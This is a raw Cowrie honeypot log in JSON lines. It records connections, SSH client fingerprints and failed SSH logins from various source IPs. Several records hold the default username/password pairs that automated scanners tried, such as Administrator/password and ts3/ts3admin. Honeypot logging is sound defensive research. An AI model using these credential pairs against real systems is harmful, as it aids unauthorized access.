{"eventid":"cowrie.session.closed","duration":44.61344861984253,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:47.421599Z","src_ip":"45.58.127.90","session":"ee52b4a8b423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.87055253982544,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:47.791865Z","src_ip":"147.182.143.59","session":"037e547b5d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.806578159332275,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:53.331878Z","src_ip":"147.182.143.59","session":"3b59b837c3ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.39982461929321,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:44:55.699143Z","src_ip":"45.58.127.90","session":"0376e5784bc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.05463743209839,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:04.360501Z","src_ip":"147.182.143.59","session":"11b63c0eb8f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59076,"dst_ip":"10.17.0.5","dst_port":23,"session":"bce27fd75799","protocol":"telnet","message":"New connection: 45.58.127.90:59076 (10.17.0.5:23) [session: bce27fd75799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:08.481369Z"}
{"eventid":"cowrie.session.closed","duration":67.79534411430359,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:10.251851Z","src_ip":"147.182.143.59","session":"11698cad77ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.1608359813690186,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:11.642058Z","src_ip":"45.58.127.90","session":"bce27fd75799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.24502515792847,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:17.198242Z","src_ip":"45.58.127.90","session":"3d3ef1c12cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45698,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c8ca23acceb","protocol":"telnet","message":"New connection: 45.58.127.90:45698 (10.17.0.5:23) [session: 0c8ca23acceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:18.341951Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":60530,"dst_ip":"10.17.0.5","dst_port":22,"session":"f57aeb8dd9df","protocol":"ssh","message":"New connection: 79.104.0.82:60530 (10.17.0.5:22) [session: f57aeb8dd9df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:27.757040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:27.764573Z","src_ip":"79.104.0.82","session":"f57aeb8dd9df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:27.919323Z","src_ip":"79.104.0.82","session":"f57aeb8dd9df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zxcvbnm","message":"login attempt [ubuntu/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:28.570253Z","src_ip":"79.104.0.82","session":"f57aeb8dd9df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:29.725349Z","src_ip":"79.104.0.82","session":"f57aeb8dd9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":35604,"dst_ip":"159.203.135.109","dst_port":23,"session":"d929896cee84","protocol":"telnet","message":"New connection: 147.182.143.59:35604 (159.203.135.109:23) [session: d929896cee84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:34.096979Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38902,"dst_ip":"10.17.0.5","dst_port":23,"session":"72b125667d38","protocol":"telnet","message":"New connection: 45.58.127.90:38902 (10.17.0.5:23) [session: 72b125667d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:37.659892Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":36762,"dst_ip":"10.17.0.5","dst_port":22,"session":"15e51301ab3c","protocol":"ssh","message":"New connection: 187.230.120.231:36762 (10.17.0.5:22) [session: 15e51301ab3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:38.851866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:38.856820Z","src_ip":"187.230.120.231","session":"15e51301ab3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:38.969079Z","src_ip":"187.230.120.231","session":"15e51301ab3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root123","message":"login attempt [user1/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:39.444564Z","src_ip":"187.230.120.231","session":"15e51301ab3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:40.560687Z","src_ip":"187.230.120.231","session":"15e51301ab3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.140164613723755,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:45.237053Z","src_ip":"147.182.143.59","session":"d929896cee84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":59396,"dst_ip":"159.203.135.109","dst_port":23,"session":"b97d624889fc","protocol":"telnet","message":"New connection: 147.182.143.59:59396 (159.203.135.109:23) [session: b97d624889fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:46.612832Z"}
{"eventid":"cowrie.session.closed","duration":6.887852668762207,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:45:53.500568Z","src_ip":"147.182.143.59","session":"b97d624889fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.12042045593262,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:00.462267Z","src_ip":"45.58.127.90","session":"0c8ca23acceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56110,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3c4fa953186","protocol":"telnet","message":"New connection: 147.182.143.59:56110 (159.203.135.109:23) [session: a3c4fa953186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:11.980605Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35260,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aa2a877903a","protocol":"telnet","message":"New connection: 45.58.127.90:35260 (10.17.0.5:23) [session: 4aa2a877903a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:12.282957Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":44932,"dst_ip":"159.203.135.109","dst_port":22,"session":"cec53f90a4a4","protocol":"ssh","message":"New connection: 47.239.15.75:44932 (159.203.135.109:22) [session: cec53f90a4a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:12.638558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:12.643355Z","src_ip":"47.239.15.75","session":"cec53f90a4a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:12.850131Z","src_ip":"47.239.15.75","session":"cec53f90a4a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35244,"dst_ip":"10.17.0.5","dst_port":23,"session":"a15a8741c7b1","protocol":"telnet","message":"New connection: 45.58.127.90:35244 (10.17.0.5:23) [session: a15a8741c7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:13.141588Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:14.073448Z","src_ip":"47.239.15.75","session":"cec53f90a4a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.398322105407715,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:16.058038Z","src_ip":"45.58.127.90","session":"72b125667d38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35276,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc83a7a00219","protocol":"telnet","message":"New connection: 45.58.127.90:35276 (10.17.0.5:23) [session: fc83a7a00219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:16.087576Z"}
{"eventid":"cowrie.session.closed","duration":0.9985318183898926,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:17.085963Z","src_ip":"45.58.127.90","session":"fc83a7a00219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35526,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d8c3857bf78","protocol":"telnet","message":"New connection: 45.58.127.90:35526 (10.17.0.5:23) [session: 8d8c3857bf78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:24.053164Z"}
{"eventid":"cowrie.session.closed","duration":12.559757947921753,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:24.540247Z","src_ip":"147.182.143.59","session":"a3c4fa953186","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":50371,"dst_ip":"159.203.135.109","dst_port":22,"session":"293959838c5a","protocol":"ssh","message":"New connection: 84.239.42.8:50371 (159.203.135.109:22) [session: 293959838c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:27.361274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:27.365932Z","src_ip":"84.239.42.8","session":"293959838c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:27.495533Z","src_ip":"84.239.42.8","session":"293959838c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"password","message":"login attempt [Administrator/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:28.003155Z","src_ip":"84.239.42.8","session":"293959838c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:29.136526Z","src_ip":"84.239.42.8","session":"293959838c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":39696,"dst_ip":"159.203.135.109","dst_port":23,"session":"efef38b280ef","protocol":"telnet","message":"New connection: 199.103.57.63:39696 (159.203.135.109:23) [session: efef38b280ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:30.902696Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42566,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b653e7c94b","protocol":"telnet","message":"New connection: 147.182.143.59:42566 (159.203.135.109:23) [session: b5b653e7c94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:31.601490Z"}
{"eventid":"cowrie.session.closed","duration":1.9376966953277588,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:32.840280Z","src_ip":"199.103.57.63","session":"efef38b280ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.230.120.231","src_port":47456,"dst_ip":"10.17.0.5","dst_port":22,"session":"a496836b61fd","protocol":"ssh","message":"New connection: 187.230.120.231:47456 (10.17.0.5:22) [session: a496836b61fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:33.309344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:33.314135Z","src_ip":"187.230.120.231","session":"a496836b61fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:33.425925Z","src_ip":"187.230.120.231","session":"a496836b61fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3admin","message":"login attempt [ts3/ts3admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:33.898536Z","src_ip":"187.230.120.231","session":"a496836b61fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:35.013694Z","src_ip":"187.230.120.231","session":"a496836b61fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.90763521194458,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:46.509002Z","src_ip":"147.182.143.59","session":"b5b653e7c94b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.176154375076294,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:50.317636Z","src_ip":"45.58.127.90","session":"a15a8741c7b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2314,"dst_ip":"10.17.0.5","dst_port":22,"session":"200e9632031b","protocol":"ssh","message":"New connection: 87.251.64.176:2314 (10.17.0.5:22) [session: 200e9632031b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:51.256667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T13:46:51.261038Z","src_ip":"87.251.64.176","session":"200e9632031b","protocol":"ssh"}
